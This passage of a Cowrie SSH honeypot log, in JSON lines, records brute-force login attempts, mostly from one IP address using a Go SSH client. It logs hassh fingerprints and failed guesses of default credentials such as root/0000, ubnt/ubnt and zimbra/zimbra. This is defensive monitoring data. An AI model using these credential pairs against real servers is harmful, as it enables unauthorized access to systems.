h.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:28.103529Z","src_ip":"43.134.24.11","session":"3a65f8b957a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:28.791292Z","src_ip":"43.134.24.11","session":"3a65f8b957a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:30.024765Z","src_ip":"43.134.24.11","session":"3a65f8b957a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":27915,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4a8a4a3ecd6","protocol":"ssh","message":"New connection: 43.134.24.11:27915 (10.17.0.5:22) [session: d4a8a4a3ecd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:33.669038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:33.674146Z","src_ip":"43.134.24.11","session":"d4a8a4a3ecd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:33.923223Z","src_ip":"43.134.24.11","session":"d4a8a4a3ecd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:34.661413Z","src_ip":"43.134.24.11","session":"d4a8a4a3ecd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:35.955876Z","src_ip":"43.134.24.11","session":"d4a8a4a3ecd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23317,"dst_ip":"10.17.0.5","dst_port":22,"session":"1143d83a512a","protocol":"ssh","message":"New connection: 43.134.24.11:23317 (10.17.0.5:22) [session: 1143d83a512a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:39.515997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:39.520815Z","src_ip":"43.134.24.11","session":"1143d83a512a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:39.758173Z","src_ip":"43.134.24.11","session":"1143d83a512a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:40.471196Z","src_ip":"43.134.24.11","session":"1143d83a512a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:41.710690Z","src_ip":"43.134.24.11","session":"1143d83a512a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1814,"dst_ip":"10.17.0.5","dst_port":22,"session":"60521940bbaf","protocol":"ssh","message":"New connection: 43.134.24.11:1814 (10.17.0.5:22) [session: 60521940bbaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:45.305377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:45.310431Z","src_ip":"43.134.24.11","session":"60521940bbaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:45.547746Z","src_ip":"43.134.24.11","session":"60521940bbaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:46.289963Z","src_ip":"43.134.24.11","session":"60521940bbaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:47.530001Z","src_ip":"43.134.24.11","session":"60521940bbaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":18005,"dst_ip":"10.17.0.5","dst_port":22,"session":"35e7d9268eb8","protocol":"ssh","message":"New connection: 43.134.24.11:18005 (10.17.0.5:22) [session: 35e7d9268eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:51.013077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:51.017559Z","src_ip":"43.134.24.11","session":"35e7d9268eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:51.291415Z","src_ip":"43.134.24.11","session":"35e7d9268eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:52.027745Z","src_ip":"43.134.24.11","session":"35e7d9268eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:53.281150Z","src_ip":"43.134.24.11","session":"35e7d9268eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":18006,"dst_ip":"10.17.0.5","dst_port":22,"session":"8966c648e3cc","protocol":"ssh","message":"New connection: 43.134.24.11:18006 (10.17.0.5:22) [session: 8966c648e3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:56.915556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:56.920257Z","src_ip":"43.134.24.11","session":"8966c648e3cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:57.167944Z","src_ip":"43.134.24.11","session":"8966c648e3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:57.905547Z","src_ip":"43.134.24.11","session":"8966c648e3cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:55:59.155265Z","src_ip":"43.134.24.11","session":"8966c648e3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":12091,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eab547532d5","protocol":"ssh","message":"New connection: 43.134.24.11:12091 (10.17.0.5:22) [session: 2eab547532d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:02.727683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:02.733572Z","src_ip":"43.134.24.11","session":"2eab547532d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:02.981791Z","src_ip":"43.134.24.11","session":"2eab547532d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:03.727895Z","src_ip":"43.134.24.11","session":"2eab547532d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:04.977950Z","src_ip":"43.134.24.11","session":"2eab547532d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":39409,"dst_ip":"10.17.0.5","dst_port":22,"session":"d91b91530c4f","protocol":"ssh","message":"New connection: 43.134.24.11:39409 (10.17.0.5:22) [session: d91b91530c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:08.452857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:08.457001Z","src_ip":"43.134.24.11","session":"d91b91530c4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:08.703078Z","src_ip":"43.134.24.11","session":"d91b91530c4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:09.458771Z","src_ip":"43.134.24.11","session":"d91b91530c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:10.788028Z","src_ip":"43.134.24.11","session":"d91b91530c4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.76.112.4","src_port":55951,"dst_ip":"159.203.135.109","dst_port":22,"session":"88ee5e1ba331","protocol":"ssh","message":"New connection: 61.76.112.4:55951 (159.203.135.109:22) [session: 88ee5e1ba331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:12.868681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:12.874052Z","src_ip":"61.76.112.4","session":"88ee5e1ba331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:13.073134Z","src_ip":"61.76.112.4","session":"88ee5e1ba331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:13.910009Z","src_ip":"61.76.112.4","session":"88ee5e1ba331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":60670,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4b6b9189b60","protocol":"ssh","message":"New connection: 43.134.24.11:60670 (10.17.0.5:22) [session: c4b6b9189b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:14.099412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:56:14.104472Z","src_ip":"43.134.24.11","session":"c4b6b9189b60","protocol":"ssh"}
